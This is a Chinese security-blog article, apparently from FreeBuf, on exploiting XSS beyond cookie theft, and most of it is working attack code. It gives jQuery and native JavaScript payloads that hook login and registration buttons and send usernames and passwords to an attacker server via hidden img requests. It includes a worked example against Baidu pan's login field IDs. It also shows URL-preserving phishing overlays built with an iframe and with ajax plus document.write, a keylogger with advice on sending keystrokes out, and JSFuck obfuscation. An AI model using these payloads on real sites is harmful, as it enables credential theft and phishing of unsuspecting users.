这不是08年的时候了,现在是2015年。那时候天还是蓝的,水还是绿的。食物是可以吃的,河里的水是可以直接喝的。孩子也是自己的。
Webkit渲染txt还是带XSS的。但是7年过去了,改变了太多,但是无论系统如何升级,只要有一个猥琐的思路就行了。今天说的是说XSS的一些技巧,当然了本文也会深入点,代码我会给上注释,如有不懂请在下面留言回复。
当你手工或者软件挖到一个页面的xss时(无论是反射xss或者储蓄xss都可以),这个时候想要深入的利用这个漏洞,该怎么做呢?用WebRTC来内网端口检测?盗取cookies(登陆页面和注册页面一般都不会有用户cookies)?用浏览器漏洞来调取cmd入侵(能挖到么)?
这不行,那不行。到底怎么办呢?我们这个时候可以根据页面的特性来完成,假设当前是注册页面,存在XSS,那我们应该怎么做才好呢。如果是反射XSS,可以远程调用js文件,如果是储蓄型XSS可以在页面里面写。代码如下:
/*如果当前页面没有使用jQuery,就采用原生的JavaScript,下面函数是重写了jQuery的选择器及attr。 userInfo('data-user','username','value')等价于:$("input[data-user='username']").attr('value'); 这个代码存在一个bug,就是getAttribute获取input的value时会显示空,这个时候只需要把getAttribute改成value就行了。之所以没有改,是因为你又可能传入其他的标签,比如img什么的,如果你要传的标签不是input,value是获取不到的,需要使用getAttribute。 */ var userInfo = function(data,value,post,tag){ if(!arguments[3]){ //判断第四个参数是否存在 tag = "input"; //当没有第四个参数传进来时,默认为input } var tagData = document.querySelectorAll(tag + '[' + data + ']'); //查找网页中某标签存在某个属性 for(var i = 0;i<tagData.length;i++){ //遍历查找后的结果 if(tagData[i].getAttribute(data) == value && tagData[i].getAttribute(post)){ //判断属性的值是否为自己所指定的,如果是自己属性和值都匹配了,再判断是否有自己的想要获取的属性 return tagData[i].getAttribute(post); //返回匹配成功的值 } } } document.getElementById("xxx").click(function() { //当用户点id为xxx的时候,运行函数内的代码。 var user = userInfo('data-user','username','value'); //把获取的值赋值给user var password = userInfo('data-user','password','value'); //把获取的值赋值给password var imgTag = "<img src='服务器接受地址.com/xxx.php?user=" + user +"&password=" + password + "' style='display:none;'"; document.getElementsByTagName('body')[0].appendChild(imgTag); })
以img标签发送get的方式来把用户的账号密码发送到服务器(之前使用JavaScript结合WebRTC实现内网端口检测的时候就是用这个的。),因为img的src会以get的方式来发送数据,我们只需要在服务端写上$_GET['user']和$_GET['password']就可以获取到了。因为我们本身并不是一个完整的请求,只有发送。所以不需要担心跨域的问题。
如果当前页面的本身调用了jQuery,那就不需要上文那么麻烦了。因为代码量真的很少很少,代码如下:
$("input:submit").onClick(function(){ //当点击“提交”按钮时所触发的函数 var user = $("input[data-user='username']").val(); //获取input标签里具有属性为data-user且属性值为username的DOM,然后在获取用户输入的值。 var password = $("input[data-user='password']").val(); //获取input标签里具有属性为data-user且属性值为password的DOM,然后在获取用户输入的值 $("body").append("<img src='http://服务器接受地址.com/?user=" + user + "&password=" + password + "' style='display:none;'>");. //把构造好的img标签插入到body标签里的结尾 });
当代码OK后,用户点击提交时,可以注册,但是同时他的账号密码都会被我们所知道。相当于wifi中间人劫持了。
说了半天的话,也给了那么多代码,不来点事例有点说不过去了。事例:
我们先假设pan.baidu.com存在XSS。是在URL里的s参数里。就像:
http://pan.baidu.com/?s=<script>alert(1)</script> ,开始分析构造了。
打开页面,F12,看下用户账号及密码的DOM。
这里我们可以使用id进行定位。Input的type为text定位好了,下面就是定位登陆按钮了。
分析完了后,我们可以进行代码构造了:
$("#TANGRAM__PSP_4__submit").click(function(){ var user = $("#TANGRAM__PSP_4__userName").val(); var password = $("#TANGRAM__PSP_4__password").val(); $("body").append("<img src='http://a.cn/?user=" + user + "&password=" + password + "' style='display:none;'>"); });
OK了后,我们来实验下:
先用burp把数据包截断,防止页面跳转。点击登陆后,我们在“控制台”看下
渲染成功,我们在服务端看下:
这里没有使用php。使用的是nginx的log日志。php因为反馈不明显,除非导入到数据库里。那就太麻烦了。这里我们,可以看到成功了。如果你想使用php的话,再index.php里写上$_GET['user']和$_GET['password']就可以获取到了。
之前大家伪造钓鱼页面时,经常使用<meta http-equiv="Refresh" content="1; url=http://钓鱼页面.com" />window.location.href="http://钓鱼页面.com";或者起一个非常有诱惑性的域名,比如:htpp://www.freebvf.com/,再或者以手误的方式来设置域名,比如:http://www.freevuf.com/,但是这些就有点low了。这里技巧有个要点,就是当前页面变化,但是URL不变。这里有两个方法。如果你有更好的方法,欢迎提出来,让我学习下。
利用iframe,去掉iframe的边框及滚动条。再时iframe的宽度100%,占满整个页面。
var windowHeight=$(window).height() + 500; //获取当前可视区域的高,并且加上500px,防止当浏览器窗口变化时,泄露下面的内容
$("body").before('<iframe src="http://www.freebuf.com/" id="frame3d" name="frame3d" frameborder="0" width="100%" scrolling="no" height="' + windowHeight + '"></iframe>'); //插入iframe标签,src为钓鱼页面 $("html").attr({ onmousewheel: 'return false', //禁止鼠标轮动事件,让鼠标无法滚动 style: 'overflow-x:hidden;overflow-y:hidden' //隐藏滚动条 });
利用了iframe可以调用外部窗口的特性来进行构造代码。要点有:把iframe最大化、禁止页面滚动、隐藏滚动条。来个事例图:
还有一种办法是利用ajax来进行伪造,获取外部的网页,然后利用document.write()来把内容写到页面。 因为document.write()有个特性就是,使用document.write()时会重写页面,无论页面里有什么内容,都会被重写。代码如下:
$.ajax({ url: 'http://www.freebuf.com/', type: 'post', dataType: 'text', }) .done(function(data) { document.write(data); })
这里有几个需要注意的地方,document.write()写入页面后,所有的资源都会重定向到原本的地址。打个比方。
我们的钓鱼网页是htpp://www.freebuf.com/。里面的在调用js/css/img/swf等资源的时候,使用的是相对目录来进行索引的。就像下面这样:
<script src="./other/js/new/backtop.js"></script>(这是我编的,freebuf并没有使用相对目录)
那我们将freebuf这个钓鱼页面也到目标网页后,假设目标的URL是:http://www.baidu.com/。那这个js的资源就会被指定为http://baidu.com/other/js/new/backtop.js。从而导致页面不受控制。就像下面这样:
看下控制台就更加的清楚了:
还有一个需要注意那就是需要再这个文件也就是index.php里的头上写入下面的代码:
<?php header( 'Access-Control-Allow-Origin:*' );?>
这样就可以使用ajax来进行跨域了。
第一种用iframe:
缺点:容易被发现,。F12就可以看到一个iframe,而且当浏览器的窗口足够大的时候,会使原本的网页泄露出一点。从而导致用户发现。代码量多
优点:限制特别少。
第二种用ajax:
缺点:使用ajax看来请求远程地址并重写的时候,需要注意的是,即使钓鱼网站不使用相对路径,而且还加入了<?php header( 'Access-Control-Allow-Origin:*' );?>,但是还是不行,因为网站的本身就做了限制。
优点:代码量特别少
JavaScript键盘记录:
function keyUp(e) { var keyChar=0,e=e||event; keyChar=e.keyCode||e.which||e.charCode; var key = String.fromCharCode(keyChar); console.log("字符: " + key); }document.onkeyup = keyUp;
这段代码只需要运行就行了。如果想发送到远程的服务器上面,可以使用ajax或者我上面的说的<img src='http://服务器接受地址.com/?key=" + key +"' style='display:none;'>来进行发送,可以使用for循环对上面的代码进行循环,把用户按下的键先赋值给一个值,当点击提交时就可以发送了。
如果网站不限制字符串的话,可以使用 http://www.jsfuck.com/ 来对原本的JavaScript代码进行变异。但是这种变异后的长度特别长,记住是特别长!
0×04 : 结束语
最近刷微博,看到下面的微博:
对于这种厂商,我只能说自己脑残不要说别人技术差。
黑哥之前的XSS漫游内网,以及XSS遍历内网IP端口。还有XSS利用浏览器API弹计算器等等,事实证明这不是08年的时候了,不要一直想着XSS只能打cookies,可能你正在这样想的时候,别人已经用xss漫游你的内网了呢。
* 本文来自 FreeBuf特约作者Black-Hole投稿,属FreeBuf黑客与极客(Freebuf.COM)独家发布,未经允许禁止转载